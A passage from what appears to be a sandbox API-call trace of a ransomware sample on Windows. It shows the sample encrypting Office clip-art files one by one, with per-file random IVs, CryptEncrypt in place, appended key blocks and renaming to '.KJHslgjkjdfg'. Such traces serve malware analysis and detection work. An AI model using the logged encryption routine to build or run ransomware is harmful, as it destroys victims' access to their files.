liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.810] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4b80, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4b80, lpOverlapped=0x0) returned 1 [0165.885] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4b80, dwBufLen=0x4b80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4b80) returned 1 [0165.885] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.885] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4b80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4b80, lpOverlapped=0x0) returned 1 [0165.886] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0165.886] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.886] SetEndOfFile (hFile=0x114) returned 1 [0165.962] GetProcessHeap () returned 0x2a0000 [0165.962] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0165.962] GetProcessHeap () returned 0x2a0000 [0165.962] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0165.962] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf.kjhslgjkjdfg")) returned 1 [0165.963] CloseHandle (hObject=0x114) returned 1 [0165.963] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1214, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105250.WMF", cAlternateFileName="")) returned 1 [0165.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0165.965] GetProcessHeap () returned 0x2a0000 [0165.965] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0165.965] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0165.965] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0165.966] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0166.096] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0166.096] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0166.096] GetProcessHeap () returned 0x2a0000 [0166.096] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0166.096] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0166.097] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0166.097] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0166.097] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0166.097] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0166.097] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0166.097] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0166.097] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0166.097] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0166.097] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0166.097] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.097] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1214, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1214, lpOverlapped=0x0) returned 1 [0166.901] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1220, dwBufLen=0x1220 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1220) returned 1 [0166.901] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.901] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1220, lpOverlapped=0x0) returned 1 [0166.901] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0166.901] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x12f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.901] SetEndOfFile (hFile=0x114) returned 1 [0166.986] GetProcessHeap () returned 0x2a0000 [0166.986] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0166.986] GetProcessHeap () returned 0x2a0000 [0166.986] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0166.986] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf.kjhslgjkjdfg")) returned 1 [0167.130] CloseHandle (hObject=0x114) returned 1 [0167.130] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1714, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105266.WMF", cAlternateFileName="")) returned 1 [0167.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0167.131] GetProcessHeap () returned 0x2a0000 [0167.131] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0167.131] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0167.132] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0167.132] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0167.213] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0167.213] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0167.213] GetProcessHeap () returned 0x2a0000 [0167.213] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0167.213] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0167.213] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0167.213] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0167.213] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0167.213] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0167.214] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0167.214] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0167.214] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0167.214] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0167.214] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0167.214] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.214] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1714, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1714, lpOverlapped=0x0) returned 1 [0167.239] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1720, dwBufLen=0x1720 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1720) returned 1 [0167.239] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.239] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1720, lpOverlapped=0x0) returned 1 [0167.240] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0167.240] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x17f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.240] SetEndOfFile (hFile=0x114) returned 1 [0167.242] GetProcessHeap () returned 0x2a0000 [0167.242] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0167.242] GetProcessHeap () returned 0x2a0000 [0167.242] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0167.242] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf.kjhslgjkjdfg")) returned 1 [0167.244] CloseHandle (hObject=0x114) returned 1 [0167.244] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4540, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105272.WMF", cAlternateFileName="")) returned 1 [0167.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0167.245] GetProcessHeap () returned 0x2a0000 [0167.245] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0167.245] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0167.245] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0167.245] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0167.245] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0167.245] GetProcessHeap () returned 0x2a0000 [0167.245] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0167.245] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0167.245] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0167.245] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0167.357] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0167.357] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0167.357] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0167.357] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0167.357] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0167.357] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0167.357] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0167.358] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.358] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4540, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4540, lpOverlapped=0x0) returned 1 [0167.392] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4540, dwBufLen=0x4540 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4540) returned 1 [0167.393] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.393] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4540, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4540, lpOverlapped=0x0) returned 1 [0167.393] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0167.393] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.393] SetEndOfFile (hFile=0x114) returned 1 [0167.395] GetProcessHeap () returned 0x2a0000 [0167.395] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0167.395] GetProcessHeap () returned 0x2a0000 [0167.395] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0167.395] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf.kjhslgjkjdfg")) returned 1 [0167.396] CloseHandle (hObject=0x114) returned 1 [0167.396] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105276.WMF", cAlternateFileName="")) returned 1 [0167.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0167.397] GetProcessHeap () returned 0x2a0000 [0167.397] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0167.397] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0167.397] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0167.397] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0167.425] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0167.425] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0167.426] GetProcessHeap () returned 0x2a0000 [0167.426] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0167.426] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0167.426] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0167.426] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0167.426] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0167.426] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0167.426] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0167.426] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0167.426] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0167.426] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0167.426] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0167.426] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.426] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4b28, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4b28, lpOverlapped=0x0) returned 1 [0167.586] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4b30, dwBufLen=0x4b30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4b30) returned 1 [0167.586] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.586] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4b30, lpOverlapped=0x0) returned 1 [0167.587] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0167.587] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4c04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.587] SetEndOfFile (hFile=0x114) returned 1 [0167.590] GetProcessHeap () returned 0x2a0000 [0167.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0167.590] GetProcessHeap () returned 0x2a0000 [0167.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0167.590] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft 